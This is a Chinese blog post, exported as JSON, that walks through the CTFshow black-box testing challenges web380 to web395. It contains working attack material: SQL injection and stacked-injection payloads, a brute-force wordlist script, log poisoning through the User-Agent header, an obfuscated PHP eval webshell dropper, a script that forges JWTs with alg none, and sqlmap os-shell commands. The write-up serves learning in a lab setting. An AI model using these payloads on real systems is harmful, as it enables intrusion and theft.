{"id":405,"date":"2023-08-10T20:59:31","date_gmt":"2023-08-10T12:59:31","guid":{"rendered":"https:\/\/blog.byzhb.top\/?p=405"},"modified":"2023-09-02T17:08:10","modified_gmt":"2023-09-02T09:08:10","slug":"blackbox","status":"publish","type":"post","link":"https:\/\/blog.byzhb.top\/index.php\/2023\/08\/10\/blackbox\/","title":{"rendered":"CTFshow \u9ed1\u76d2\u6d4b\u8bd5"},"content":{"rendered":"

\u524d\u8a00<\/h1>\n

\u4ece\u671f\u672b\u5468\u4ee5\u6765\u597d\u4e45\u6ca1\u5237\u9898\u4e86\uff0c\u4eca\u5929\u5f00\u59cb\u5237\u4e00\u4e0bCTFshow\u7684\u9ed1\u76d2\u6d4b\u8bd5\u90e8\u5206\uff0c\u63d0\u5347\u4e0b\u6e17\u900f\u6d4b\u8bd5\u6c34\u5e73<\/p>\n

web380<\/h1>\n

\u9996\u5148\u8fdb\u5165\u9898\u76ee\u73af\u5883<\/p>\n

\"image-20230708194641955\"<\/div><\/p>\n

\u7528dirsearch\u626b\u7f51\u7ad9\u76ee\u5f55\u53d1\u73b0flag.php\u548cpage.php,\u4f46\u662f\u76f4\u63a5\u8bbf\u95eeflag.php\u662f\u4e0d\u884c\u7684<\/p>\n

\"image-20230708194726026\"<\/div><\/p>\n

\u8bbf\u95eepage.php\uff0c\u901a\u8fc7\u62a5\u9519\u5224\u65ad\u5e94\u8be5\u4f7f\u7528\u7684 file_get_contents()\u51fd\u6570\uff0c\u6765\u83b7\u53d6\u6587\u4ef6\u7684\u5185\u5bb9\uff0c\u7ed3\u5408\u5176\u4ed6\u9875\u9762\u7684url\u8def\u5f84\uff0c\u63a8\u65ad\u51fd\u6570\u53c2\u6570\u5e94\u8be5\u5982\u4e0b<\/p>\n

file_get_contents($id.'.php')<\/code><\/pre>\n
\"image-20230708195126321\"<\/div><\/p>\n
\"image-20230708195536547\"<\/div><\/p>\n
\u4e8e\u662f\u6211\u4eec\u5229\u7528\u8be5\u6587\u4ef6\u6765\u8bfb\u53d6 flag.php\u7684\u5185\u5bb9\uff0c\u4f20\u5165\u53c2\u6570 $id=flag<\/strong><\/p>\n
\"image-20230708195617106\"<\/div><\/p>\n
web381<\/h1>\n
\u540c\u6837\u626b\u63cf\u7f51\u7ad9\u76ee\u5f55\uff0c\u53d1\u73b0\u53ea\u6709 page.php \uff0c\u5c1d\u8bd5\u8bbf\u95ee<\/p>\n
\"image-20230708202209334\"<\/div><\/p>\n
\u6839\u636e\u62a5\u9519\u5224\u65ad\uff0c\u5e94\u8be5\u662f\u4f7f\u7528\u7684file_get_contents()<\/strong>\u51fd\u6570,\u5e76\u4e14\u53c2\u6570\u7ed3\u6784\u4e3a<\/p>\n
file_get_contents('page_'.$id.'.php')<\/code><\/pre>\n
\"image-20230708202347188\"<\/div><\/p>\n
\u4e5f\u5c31\u662f\u8bf4\u6211\u4eec\u5e76\u4e0d\u80fd\u901a\u8fc7\u8fd9\u4e2aphp\u6587\u4ef6\u76f4\u63a5\u67e5\u770b\u5176\u4ed6\u6587\u4ef6\u4e86\uff0c\u4f46\u662f\u6211\u4eec\u53ef\u4ee5\u5229\u7528\u8fd9\u4e2a\u7279\u6027<\/p>\n
\n
hint.php?\/..\/..\/..\/flag.php<\/p>\n
hint.php?\u8fd9\u4e2a\u76ee\u5f55\u4e0d\u5b58\u5728\uff0c\u4f46\u4ecd\u80fd\u591f\u5f80\u4e0a\u8df3\u8f6c4\u7ea7\u76ee\u5f55\uff0c\u53bb\u5305\u542bflag.php<\/p>\n<\/blockquote>\n
\u7ecf\u6d4b\u8bd5\u53d1\u73b0\u5e76\u4e0d\u5b58\u5728flag.php\uff0c\u6211\u4eec\u9700\u8981\u6362\u79cd\u601d\u8def\uff0c\u901a\u8fc7\u67e5\u770b\u4e3b\u9875\u7684\u524d\u7aef\u4ee3\u7801\uff0c\u7ecf\u8fc7\u5bf9\u6bd4\u53ef\u5f97\uff0c\u8be5\u9875\u9762\u6cc4\u9732\u4e86web\u76ee\u5f55\u7684\u8def\u5f84\u4e3aalsckdfy<\/strong><\/p>\n
\"image-20230708205154485\"<\/div><\/p>\n
\u6211\u4eec\u8bbf\u95ee\u8be5\u8def\u5f84\u76f4\u63a5\u5f97\u5230flag<\/p>\n
\"image-20230708205434563\"<\/div><\/p>\n
web382<\/h1>\n
\u540c\u4e0a\uff0c\u53ea\u4e0d\u8fc7\u8bbf\u95ee\u540e\u53ef\u4ee5\u5f97\u5230\u767b\u9646\u9875\u9762\uff0c\u6211\u4eec\u4f7f\u7528sql\u8bed\u53e5,\u5373\u53ef\u767b\u9646\u5f97\u5230flag<\/p>\n
1' and 1=1#<\/code><\/pre>\n
\"image-20230708205628532\"<\/div><\/p>\n
web383<\/h1>\n
\u9996\u5148\u8fdb\u5165\u9898\u76ee\u73af\u5883<\/p>\n
\"image-20230708193530789\"<\/div><\/p>\n
\u7528dirsearch\u626b\u7f51\u7ad9\u76ee\u5f55<\/p>\n
\"image-20230708193617815\"<\/div><\/p>\n
\u8fdb\u5165 page.php\u754c\u9762\uff0c\u53d1\u73b0\u548c\u4e0a\u4e00\u9898\u76f8\u540c\uff0c\u6ca1\u5565\u7528<\/p>\n
\u7136\u540e\u67e5\u770b\u4e3b\u9875\u7684\u524d\u7aef\u4ee3\u7801\uff0c\u7ecf\u8fc7\u5bf9\u6bd4\u53ef\u5f97\uff0c\u8be5\u9875\u9762\u6cc4\u9732\u4e86web\u76ee\u5f55\u7684\u8def\u5f84\u4e3a alsckdfy<\/strong><\/p>\n
\"image-20230708193849099\"<\/div><\/p>\n
\u6211\u4eec\u8bbf\u95ee\u8be5\u8def\u5f84\u5f97\u5230\u540e\u53f0\u7ba1\u7406\u9875\u9762<\/p>\n
\"image-20230708194245680\"<\/div><\/p>\n
\u4f46\u662f\u76f4\u63a5\u4f7f\u7528 sql\u6ce8\u5165\u65e0\u6cd5\u8fdb\u5165\uff0c\u8fd9\u91cc\u5c1d\u8bd5\u4f7f\u7528burpsuite\u7206\u7834\u4e0badmin\u7528\u6237
\"image-20230708194039481\"<\/div><\/p>\n
\u53d1\u73b0\u5bc6\u7801\u4e3a admin888\uff0c\u767b\u9646\u5f97\u5230flag<\/p>\n
\"image-20230708194335125\"<\/div><\/p>\n
web384<\/h1>\n
\u524d\u51e0\u6b65\u548c\u4e0a\u9762\u7684\u9898\u4e00\u6837\uff0c\u6839\u636e\u9898\u76ee\u63d0\u793a<\/p>\n
\"image-20230708210348394\"<\/div><\/p>\n
\u6211\u4eec\u7f16\u5199python\u811a\u672c\u5982\u4e0b\uff0c\u6765\u751f\u6210\u76f8\u5e94\u89c4\u5219\u7684\u5b57\u5178<\/p>\n
LENGTH = 5 # \u5bc6\u7801\u6700\u5927\u957f\u5ea6\ncharLength = 2 # \u5b57\u6bcd\u6700\u5927\u957f\u5ea6\nchar = 'qwertyuiopasdfghjklzxcvbnm' # \u5b57\u6bcd\u5217\u8868\n\n##\u8865\u8db3LENGTH\u4f4d\u7684\u6570\u5b57\u5b57\u7b26\u4e32  eg. 1->001\uff0c12->012\n\ndef formatNum(n):\n    global LENGTH\n    return '0' * (LENGTH - charLength - len(str(abs(n)))) + str(abs(n))[:LENGTH-charLength]\n\nstring = ''\n\nfor n in char:\n    for c in char:\n        for i in range(pow(10, LENGTH - charLength)):\n            string += n + c + formatNum(i) + '\\n'\n\nwith open('dict_2L3d.txt','w') as f:\n    f.write(string)<\/code><\/pre>\n
\u6211\u4eec\u4f7f\u7528burpsuite\u5c06\u811a\u672c\u751f\u6210\u7684\u5b57\u5178\u5bf9\u767b\u9646\u9875\u9762\u7206\u7834<\/p>\n
\"image-20230708211217741\"<\/div><\/p>\n
\u7206\u7834\u5f97\u5bc6\u7801\u4e3a xy123\uff0c\u6211\u4eec\u8fdb\u884c\u767b\u9646\u5f97\u5230flag<\/p>\n
\"image-20230708211304887\"<\/div><\/p>\n
web385<\/h1>\n
\u6309\u7167\u60ef\u4f8b\u8fd8\u662f\u5148\u626b\u63cf\u76ee\u5f55\uff0c\u8fd9\u91cc\u626b\u63cf\u5230\u4e86 install.php\uff0c\u731c\u6d4b\u5e94\u8be5\u662f\u521d\u59cb\u5316\u7f51\u7ad9\u540e\uff0c\u521d\u59cb\u5316\u9875\u9762\u6ca1\u6709\u5220\u53bb\u6216\u8005\u9690\u85cf<\/p>\n
\"image-20230709124426620\"<\/div><\/p>\n
\u8bbf\u95ee\u5f97\u5230\u6b64\u754c\u9762<\/p>\n
\"image-20230709124555066\"<\/div><\/p>\n
\u6211\u4eec\u6309\u7167\u63d0\u793a\u91cd\u65b0\u5b89\u88c5<\/p>\n
\"image-20230709124634949\"<\/div><\/p>\n
\u7136\u540e\u627e\u5230\u767b\u5f55\u9875\u9762\uff0c\u5bf9\u5176\u7206\u7834\uff0c\u540e\u53f0\u7f51\u7ad9\u4ecd\u7136\u662fweb\u76ee\u5f55\u6cc4\u9732<\/p>\n
\"image-20230709124716546\"<\/div><\/p>\n
\u7206\u7834\u5f97\u5230\u7ba1\u7406\u5458\u9ed8\u8ba4\u5bc6\u7801\u4e3a admin888\uff0c\u548c\u4e0a\u9762\u7684\u9898\u8fc7\u7a0b\u4e00\u6837\uff0c\u7206\u7834\u8fc7\u7a0b\u5c31\u7701\u7565\u4e86<\/p>\n
\"image-20230709124843078\"<\/div><\/p>\n
\u767b\u9646\u5f97\u5230flag<\/p>\n
\"image-20230709124917441\"<\/div><\/p>\n
web386<\/h1>\n
\u9996\u5148\u626b\u63cf\u76ee\u5f55\uff0c\u53d1\u73b0\u8fd8\u662f\u521d\u59cb\u5316\u754c\u9762\u6cc4\u9732\uff0c\u4e8e\u662f\u8bbf\u95ee\u4e00\u63a2\u7a76\u7adf<\/p>\n
\"image-20230709130112154\"<\/div><\/p>\n
\u663e\u7136\u8fd9\u9898\u6709\u4e00\u4e2a\u68c0\u6d4b\u673a\u5236\uff0c\u4e0d\u80fd\u91cd\u590d\u8986\u76d6\u5b89\u88c5\u4e86\uff0c\u63a8\u65ad lock.dat \u6587\u4ef6\u5e94\u8be5\u662f\u5224\u65ad\u662f\u5426\u5b89\u88c5\u7684\u6807\u5fd7\uff0c\u5982\u679c lock.dat \u6587\u4ef6\u4e0d\u5b58\u5728\u7684\u8bdd\u90a3\u4e48\u5c31\u53ef\u4ee5\u4ece\u91cd\u590d\u5b89\u88c5\u4e86<\/p>\n
\"image-20230709130322609\"<\/div><\/p>\n
\u770b\u4e86\u773cwp\u624d\u77e5\u9053\u539f\u6765\u662f\u6211\u7684\u5b57\u5178\u4e0d\u591f\u5927\uff0c\u8fd8\u5b58\u5728\u4e00\u4e2a clear.php<\/strong>\u6ca1\u6709\u626b\u63cf\u5230\uff0c\u66f4\u6362\u5b57\u5178\u540e\u6210\u529f\u626b\u5230<\/p>\n
\"image-20230709184745351\"<\/div><\/p>\n
\u5bf9 clear.php \u8fdb\u884c\u8bbf\u95ee \uff0c\u7ecf\u6d4b\u8bd5\u8981\u53c2\u6570file\u53c2\u6570\uff0c\u624d\u80fd\u5220\u9664\u6307\u5b9a\u6587\u4ef6\uff0c\u8fd9\u91cc\u4f20\u5165 file\u4e3a lock.dat<\/p>\n
\"image-20230709190247980\"<\/div><\/p>\n
\u7136\u540e\u8bbf\u95ee\u521d\u59cb\u5316\u754c\u9762\uff0c\u6210\u529f\u91cd\u7f6e<\/p>\n
\"image-20230709202851896\"<\/div><\/p>\n
\u7136\u540e\u548c\u4e0a\u9762\u7684\u9898\u76ee\u4e00\u6837\uff0c\u540c\u6837\u7684\u767b\u5f55\u9875\u9762<\/p>\n
\"image-20230709190608777\"<\/div><\/p>\n
\u5bf9\u5176\u7206\u7834\u5f97\u5230\u5bc6\u7801\u4e3a admin888\uff0c\u767b\u9646\u5f97\u5230flag<\/p>\n
\"image-20230709190546037\"<\/div><\/p>\n
web387<\/h1>\n
\u9996\u5148\u626b\u63cf\u540e\u53f0\uff0c\u53d1\u73b0\u7ed3\u679c\u5982\u4e0b<\/p>\n
\"image-20230709191531570\"<\/div><\/p>\n
\u8fd9\u6b21 clear.php \u65e0\u6cd5\u5220\u9664\u4e86 lock.dat\u4e86<\/p>\n
\"image-20230709193038249\"<\/div><\/p>\n
\u53d1\u73b0\u6bd4\u4e0a\u4e00\u9898\u591a\u4e86\u4e00\u4e2a debug \u76ee\u5f55\uff0c\u8fdb\u884c\u8bbf\u95ee<\/p>\n
\"image-20230709191909377\"<\/div><\/p>\n
\u63a8\u65ad\u5e94\u8be5\u4f20\u5165 file \u53c2\u6570\uff0c\u6211\u4eec\u4f20\u5165 \/etc\/passwd \u8bd5\u4e00\u4e0b\uff0c\u53d1\u73b0\u5b58\u5728\u6587\u4ef6\u5305\u542b\uff0c\u90a3\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u5305\u542b\u65e5\u5fd7\u8fdb\u884c\u5220\u9664lock.dat\u6587\u4ef6\uff0clinux web\u670d\u52a1\u4e2d NGINX\u7684\u65e5\u5fd7\u76ee\u5f55\u5728 \/var\/log\/nginx\/access.log<\/strong><\/p>\n
\"image-20230709192314420\"<\/div><\/p>\n
\u6211\u4eec\u901a\u8fc7\u5728 UA\u5934\u5199\u5165\u5220\u9664 lock.dat \u7684php\u4ee3\u7801 <\/p>\n
\u5199\u5165web388\u4e2d\u7684\u514d\u6740\u9a6c\u4e5f\u53ef\u4ee5\uff0c\u6267\u884c\u540e\u4f1a\u751f\u6210\u540d\u4e3a 1.php \u7684\u6728\u9a6c<\/p>\n
\n
\u901a\u8fc7\u6d4b\u8bd5\u53d1\u73b0\u76f4\u63a5\u5728\u65e5\u5fd7\u5199\u9a6c\u662f\u4e0d\u884c\u7684\uff0c\u4f1a\u65e0\u6cd5\u4f20\u53c2\uff0c\u6240\u4ee5\u8981\u501f\u52a9\u8fd0\u884c\u65e5\u5fd7\u751f\u6210\u9a6c\uff0cdebug\/\u8fd9\u4e2a\u6587\u4ef6\u53ea\u80fd\u6267\u884c\u4efb\u610f\u6587\u4ef6\uff0c\u5927\u6982\u662f\u56e0\u4e3a\u6267\u884c\u5b8c\u624d\u4f1a\u56de\u663e\u5427\uff0c\u4e5f\u5c31\u662f\u8bf4\u6211\u4eec\u770b\u5230\u7684\u9875\u9762\u90fd\u662f\u201c\u8fc7\u53bb\u65f6\u201d<\/p>\n<\/blockquote>\n
<?php unlink('\/var\/www\/html\/install\/lock.dat')?><\/code><\/pre>\n
\u6211\u4eec\u901a\u8fc7debug\u5305\u542b\u5e76\u6267\u884c\u521a\u5199\u5165\u65e5\u5fd7\u7684\u4ee3\u7801\uff0c\u6765\u5220\u9664 lock.dat<\/p>\n
\"image-20230709194518752\"<\/div><\/p>\n
\u518d\u6b21\u8bbf\u95ee install \u754c\u9762\uff0c\u53d1\u73b0 lock.dat \u5220\u9664\u6210\u529f\uff0c\u5e76\u4e14\u91cd\u88c5\u6210\u529f<\/p>\n
\"image-20230709194658610\"<\/div><\/p>\n
\u5269\u4e0b\u7684\u6b65\u9aa4\u548c\u4e0a\u4e00\u9898\u4e00\u6a21\u4e00\u6837\uff0c\u7206\u7834\u540e\u5f97\u5230\u5bc6\u7801\u4e3a admin888\uff0c\u767b\u9646\u5f97\u5230flag<\/p>\n
\"image-20230709194814415\"<\/div><\/p>\n
web388<\/h1>\n
\u6309\u7167\u60ef\u4f8b\uff0c\u626b\u63cf\u76ee\u5f55\u53d1\u73b0\u4e86 debug<\/p>\n
\"image-20230709215928998\"<\/div><\/p>\n
\u9996\u5148\u5c1d\u8bd5\u4e86\u4e0bweb387\u7684\u64cd\u4f5c\uff0c\u53d1\u73b0\u8c03\u8bd5\u7ed3\u679c\u88ab\u5904\u7406\uff0c\u5e76\u4e14debug\u8c03\u8bd5\u8c8c\u4f3c\u6ca1\u6709\u5220\u9664\u6587\u4ef6\u6743\u9650\uff0c\u4f7f\u7528\u5220\u9664\u4ee3\u7801\u6ca1\u7528\uff0c\u53ea\u80fd\u901a\u8fc7webshell\u4e86<\/p>\n
\"image-20230709215856466\"<\/div><\/p>\n
\u7ee7\u7eed\u626b\u63cf\/alsckdfy\/\u76ee\u5f55\u7684\u5b50\u76ee\u5f55\uff0c\u53d1\u73b0\u4e00\u4e2a\u7f16\u8f91\u5668<\/p>\n
\"image-20230709221251372\"<\/div><\/p>\n
\u8bbf\u95ee\u67e5\u770b\uff0c\u6b64\u7f16\u8f91\u5668\u5e94\u8be5\u53ef\u4ee5\u4e0a\u4f20\u4e00\u4e9b\u6728\u9a6c\u6587\u4ef6\u7b49<\/p>\n
\"image-20230709222153185\"<\/div><\/p>\n
\u7ecf\u6d4b\u8bd5\uff0c\u8be5\u7f16\u8f91\u5668\u5bf9\u4e0a\u4f20\u6587\u4ef6\u8fdb\u884c\u4e86\u8fc7\u6ee4\uff0c\u5e76\u4e0d\u80fd\u76f4\u63a5\u4e0a\u4f20php\u6728\u9a6c\u6587\u4ef6<\/p>\n
\"image-20230709223847171\"<\/div><\/p>\n
\u6211\u4eec\u5199\u4e00\u4e2a\u514d\u6740\u9a6c\uff0c\u5e76\u8be5\u540e\u7f00\u4e3azip\uff0c\u8fdb\u884c\u4e0a\u4f20\uff0c\u4e0a\u4f20\u540e\u5b83\u4f1a\u7ed9\u51fa\u8def\u5f84\uff0c\u6211\u4eec\u901a\u8fc7debug\u8bbf\u95ee\u8be5\u6587\u4ef6\uff0c\u8ba9\u6587\u4ef6\u5185\u5bb9\u5199\u5165\u65e5\u5fd7<\/p>\n
# \u514d\u6740\u9a6c\uff0c\u5927\u90e8\u5206\u60c5\u51b5\u9002\u7528\n<?php\n$a = '<?ph'.'p ev'.'al($_PO'.'ST[1]);?>';\nfile_put_contents('\/var\/www\/html\/1.php',$a);\n?> <\/code><\/pre>\n
\"image-20230709224852629\"<\/div><\/p>\n
\u7136\u540e\u518d\u901a\u8fc7debug\u8bbf\u95ee\u65e5\u5fd7\uff0c\u4ece\u800c\u6267\u884c\u751f\u6210\u65e5\u5fd7\u91cc\u7684\u514d\u6740\u9a6c<\/p>\n
\"image-20230709225423699\"<\/div><\/p>\n
\u6211\u4eec\u8bbf\u95ee\u751f\u6210\u7684\u6728\u9a6c 1.php\uff0c\u7136\u540epost\u63d0\u4ea4\u547d\u4ee4\u5373\u53ef\uff08\u901a\u8fc7\u5bf9\u524d\u9762\u9898\u7684\u603b\u7ed3\uff0cflag\u90fd\u5728check.php\u91cc\uff0cf12\u5373\u53ef\u770b\u5230\uff09<\/p>\n
\"image-20230709231631847\"<\/div><\/p>\n
f12 \u5f97\u5230flag<\/p>\n
\"image-20230709231813054\"<\/div><\/p>\n
web389<\/h1>\n
\u548c\u4e0a\u4e00\u9898\u4e00\u6837\uff0c\u5148\u8fdb\u5165 debug \u754c\u9762\u53d1\u73b0\u6743\u9650\u4e0d\u8db3<\/p>\n
\"image-20230710115509860\"<\/div><\/p>\n
\u67e5\u770b\u4e0bCookie\uff0c\u53d1\u73b0Cookie\u7684\u503c\u7b26\u5408jwt\u52a0\u5bc6\u7279\u5f81\uff0c\u5224\u65ad\u5e94\u8be5\u662f\u901a\u8fc7Cookie\u5224\u65ad\u6743\u9650\u7684\uff0c\u6211\u4eec\u5c06Cookie jwt\u89e3\u5bc6\u4e00\u4e0b(\u63a8\u8350\u7f51\u7ad9jwt.io)<\/p>\n
\"image-20230710120407934\"<\/div><\/p>\n
\"image-20230710121757309\"<\/div><\/p>\n
\u8fd9\u91cc\u7b80\u5355\u8bf4\u4e0b\u600e\u4e48\u5224\u65ad\u662f\u5426\u4e3ajwt\u52a0\u5bc6<\/p>\n
\u8be5\u9898\u5bc6\u6587\uff1a\neyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY4ODk2MTAxMywiZXhwIjoxNjg4OTY4MjEzLCJuYmYiOjE2ODg5NjEwMTMsInN1YiI6InVzZXIiLCJqdGkiOiI2OGJmNDcxNDU2NzU5MzBhZGQ0M2E0OWY1MmUxMzllOSJ9.yCrpG3IsiUJlM913oJkHblFxxj0KRRulTGxnkyTZePM\n\njwt\u52a0\u5bc6\u7684\u5bc6\u6587\u4e00\u822c\u90fd\u662f\u7531\u4e24\u4e2a\u70b9\u53f7\u5206\u4e3a\u4e09\u6bb5\u7684(\u4e09\u6bb5\u5206\u522b\u4e3aHeader\u5934\u90e8\u3001Payload\u8d1f\u8f7d\u3001Signature\u7b7e\u540d\uff09\uff0c\u5e76\u4e14\u524d\u4e24\u6bb5\u90fd\u4ee5\u5b57\u7b26\u4e32"eyJ"\u5f00\u5934\uff0c<\/code><\/pre>\n
\u6211\u4eec\u9700\u8981\u9020 sub \u90e8\u5206\u4e3a admin \u7684\u5bc6\u94a5\uff0c\u56e0\u4e3a\u91c7\u7528\u7684\u662fhs256\u52a0\u5bc6\u7b97\u6cd5\uff0c\u6240\u4ee5\u8981\u731c\u6d4b\u4e0b\u5bc6\u94a5\uff0c\u8fd9\u91cc\u5bc6\u94a5\u4e3a 123456<\/p>\n
\"image-20230710123956762\"<\/div><\/p>\n
\u4e5f\u53ef\u4ee5\u8bbe\u7f6e\u52a0\u5bc6\u7b97\u6cd5\u4e3a none \u8fd9\u6837\u5c31\u4e0d\u9700\u8981\u5bc6\u94a5\u4e86\uff0c\u8fd9\u91cc\u662f\u65e0\u9700\u5bc6\u94a5\u7684\u52a0\u5bc6\u811a\u672c<\/p>\n
import jwt\n#payload\ntoken_dict = {\n  "iss": "admin",\n  "iat": 1628869261,\n  "exp": 1628876461,\n  "nbf": 1628869261,\n  "sub": "admin",\n  "jti": "cbcea3355b64ed215da14373ad82e234"\n}\n#headers\nheaders = {\n  "alg": "none",\n  "typ": "JWT"\n}\njwt_token = jwt.encode(token_dict,  # payload, \u6709\u6548\u8f7d\u4f53 \n                     key='',\n                       headers=headers,  # json web token \u6570\u636e\u7ed3\u6784\u5305\u542b\u4e24\u90e8\u5206, payload(\u6709\u6548\u8f7d\u4f53), headers(\u6807\u5934)\n                       algorithm="none",  # \u6307\u660e\u7b7e\u540d\u7b97\u6cd5\u65b9\u5f0f, \u9ed8\u8ba4\u4e5f\u662fHS256\n                       ).decode('ascii')  # python3 \u7f16\u7801\u540e\u5f97\u5230 bytes, \u518d\u8fdb\u884c\u89e3\u7801(\u6307\u660e\u89e3\u7801\u7684\u683c\u5f0f), \u5f97\u5230\u4e00\u4e2astr\nprint(jwt_token)<\/code><\/pre>\n
\u4f2a\u9020\u6210\u529f\u540e\u653e\u5165Cookie\uff0c\u7136\u540e\u53d1\u5305\uff0c\u5982\u56fe\u4f2a\u9020\u6210\u529f<\/p>\n
\"image-20230710124246552\"<\/div><\/p>\n
\u5269\u4e0b\u7684\u6b65\u9aa4\u548cweb388\u76f8\u540c\uff0c\u4e5f\u53ef\u5728UA\u5934\u5199\u5165\u751f\u6210\u4e00\u53e5\u8bdd\u6728\u9a6c\u7684\u4ee3\u7801\uff0c\u7136\u540edebug\u8bbf\u95ee\u65e5\u5fd7\uff0c\u751f\u6210\u6728\u9a6c\uff0c\u7136\u540e\u8bbf\u95ee\u6728\u9a6c\u6267\u884c\u547d\u4ee4\u5f97\u5230flag<\/p>\n
\"image-20230710125405825\"<\/div><\/p>\n
web390<\/h1>\n
\u9996\u5148\u8fdb\u5165\u9898\u76ee\u73af\u5883\uff0c\u968f\u4fbf\u8fdb\u5165\u4e00\u4e2a\u9875\u9762\uff0c\u53d1\u73b0\u83b7\u53d6\u9875\u9762\u7684\u65b9\u5f0f\u8fb9\u804a\uff0c\u4e0d\u518d\u662f\u4f20\u5165\u9875\u9762\u6587\u4ef6\u540d\uff0c\u800c\u662f\u901a\u8fc7sql\u7684\u65b9\u5f0f\u8fdb\u884c\u9875\u9762\u83b7\u53d6<\/p>\n
\"image-20230710161330418\"<\/div><\/p>\n
\u6211\u4eec\u5229\u7528 sqlmap \u8fdb\u884cgetshell  \u6b64\u9898\u4e3a\u8054\u5408\u6ce8\u5165<\/p>\n
sqlmap -u url --os-shell<\/code><\/pre>\n
\n
\u8fd9\u91cc\u8865\u5145\u4e0bsqlmap getshell\u7684\u8981\u6c42\uff1a<\/p>\n
    \n
  • \u7f51\u7ad9\u5fc5\u987b\u662froot\u6743\u9650<\/li>\n
  • \u77e5\u9053\u7f51\u7ad9\u7684\u7edd\u5bf9\u8def\u5f84<\/li>\n
  • PHP\u5173\u95ed\u9b54\u672f\u5f15\u53f7\uff0cphp\u4e3b\u52a8\u8f6c\u4e49\u529f\u80fd\u5173\u95ed<\/li>\n
  • secure_file_priv=\u503c\u4e3a\u7a7a<\/li>\n<\/ul>\n<\/blockquote>\n
    \"image-20230710163230555\"<\/div><\/p>\n
    \u6210\u529fgetshell\uff0c\u5e76\u5f97\u5230flag<\/p>\n
    \u4e5f\u53ef\u4f7f\u7528sqlmap\u76f4\u63a5\u4e0b\u8f7d\u542b\u6709flag\u7684\u6587\u4ef6<\/p>\n
    sqlmap -u url --file-read \/var\/www\/html\/alsckdfy\/check.php --batch<\/code><\/pre>\n
    web391<\/h1>\n
    \u89c2\u5bdfurl\uff0c\u540c\u6837\u4e3asql\u6ce8\u5165\uff0c\u4e0d\u8fc7\u6b64\u9898\u4e3a\u5ef6\u65f6\u6ce8\u5165\uff0c\u5e76\u4e14\u6ce8\u5165\u70b9\u4e0d\u5728 page.php \u800c\u5728 search.php<\/p>\n
    \"image-20230710171930859\"<\/div><\/p>\n
    \u8001\u89c4\u77e9\uff0c\u76f4\u63a5\u4e0asqlmap<\/p>\n
    sqlmap -u url --os-shell<\/code><\/pre>\n
    \"image-20230710172856971\"<\/div><\/p>\n
    \u6210\u529fgetshell\u5e76\u5f97\u5230flag<\/p>\n
    \u200b                                 
    \"image-20230710172829148\"<\/div> <\/p>\n
    \u4e5f\u53ef\u4f7f\u7528sqlmap\u76f4\u63a5\u4e0b\u8f7d\u542b\u6709flag\u7684\u6587\u4ef6<\/p>\n
    sqlmap -u url --file-read \/var\/www\/html\/alsckdfy\/check.php --batch<\/code><\/pre>\n
    web392<\/h1>\n
    \u548c\u4e0a\u4e00\u9898\u76f8\u540c\uff0c\u6ce8\u5165\u70b9\u540c\u6837\u5728 search.php<\/p>\n
    \"image-20230710182229189\"<\/div><\/p>\n
    \u6211\u4eec\u7ee7\u7eed\u7528sqlmap\u6765getshell<\/p>\n
    sqlmap -u url --os-shell<\/code><\/pre>\n
    \"image-20230710182607440\"<\/div><\/p>\n
    \u4e0e\u4e0a\u4e00\u9898\u4e0d\u540c\u7684\u662f\uff0cflag\u51fa\u73b0\u5728\u4e86\u6839\u76ee\u5f55\uff0c\u800c\u4e0d\u662f check.php\u6587\u4ef6\u91cc<\/p>\n
    web393<\/h1>\n
    \u524d\u534a\u90e8\u5206\u548c\u4e0a\u4e00\u9898\u76f8\u540c\uff0c\u4f46\u662fgetshell\u4ee5\u540e\u53d1\u73b0\u65e0\u6cd5\u8bfb\u53d6\u6587\u4ef6\uff0c\u5e94\u8be5\u505a\u4e86\u67d0\u4e9b\u9650\u5236<\/p>\n
    \"image-20230710185154632\"<\/div>
    \n
    \"image-20230710185211328\"<\/div><\/p>\n
    \u63a5\u7740\u5728\u9875\u9762\u53d1\u73b0\uff0c\u53ef\u4ee5\u901a\u8fc7ssrf\u8bfb\u53d6\u6587\u4ef6\uff0c\u6839\u636e\u4e4b\u524d\u7206\u51fa\u7684link\u8868\uff0c\u63a8\u6d4b\u8fd9\u91cc\u641c\u7d22\u5f15\u64ce\u7684\u94fe\u63a5\u5e94\u8be5\u6765\u81ea\u6570\u636e\u5e93\u7684link\u8868<\/p>\n
    \"image-20230710185625802\"<\/div><\/p>\n
    \u6211\u4eec\u5c06link\u8868\u5185\u63d2\u5165 file:\/\/ \u534f\u8bae\u5373\u53ef<\/p>\n
    url\/search.php?title=1';insert into link values(10,'a','file:\/\/\/flag');\n#\u8fd9\u91cc\u4f7f\u7528\u5806\u53e0\u6ce8\u5165<\/code><\/pre>\n
    \u7136\u540e\u8bbf\u95ee file:\/\/\u534f\u8bae\u5bf9\u5e94\u7684id 10\u5373\u53ef\u5f97\u5230flag<\/p>\n
    \"image-20230710185958224\"<\/div><\/p>\n
    web394<\/h1>\n
    \u8be5\u9898\u505a\u4e86\u4e00\u4e9b\u8fc7\u6ee4\uff0c\u4f46\u53ef\u4ee5\u4f7f\u752816\u8fdb\u5236\u7ed5\u8fc7(MYSQL\u53ef\u4ee5\u8bc6\u522b\u5341\u516d\u8fdb\u5236\u5e76\u5bf9\u5176\u8fdb\u884c\u81ea\u52a8\u8f6c\u6362<\/em>),\u5e76\u4e14flag\u5728 check.php<\/p>\n
    \"image-20230710190638915\"<\/div><\/p>\n
    payload:<\/p>\n
    url\/search.php?title=1';insert into link values(10,'a',0x66696c653a2f2f2f7661722f7777772f68746d6c2f616c73636b6466792f636865636b2e706870); \n#\u5bf9\u5e94\u7684\u5b57\u7b26\u4e32\u4e3a file:\/\/\/var\/www\/html\/alsckdfy\/check.php<\/code><\/pre>\n
    \u7136\u540e\u901a\u8fc7ssrf\u8bbf\u95ee\u6211\u4eec\u63d2\u5165\u7684 file:\/\/ \u534f\u8bae\u5373\u53ef<\/p>\n
    \"image-20230710191140474\"<\/div><\/p>\n
    \u8fd9\u91cc\u901a\u8fc7\u67e5\u770b\u5927\u4f6c\u7684wp\uff0c\u63a8\u6d4b\u9ed1\u540d\u5355\u5e94\u8be5\u662f\uff1a<\/p>\n
    if(preg_match('\/file|check|php\/i', $id)){\n    die('error');\n  }<\/code><\/pre>\n
    web395<\/h1>\n
    \u89e3\u6cd5\u548cweb394\u76f8\u540c<\/p>\n
    \"image-20230710192745269\"<\/div><\/p>\n
    web394~395 \u975e\u9884\u671f<\/h1>\n
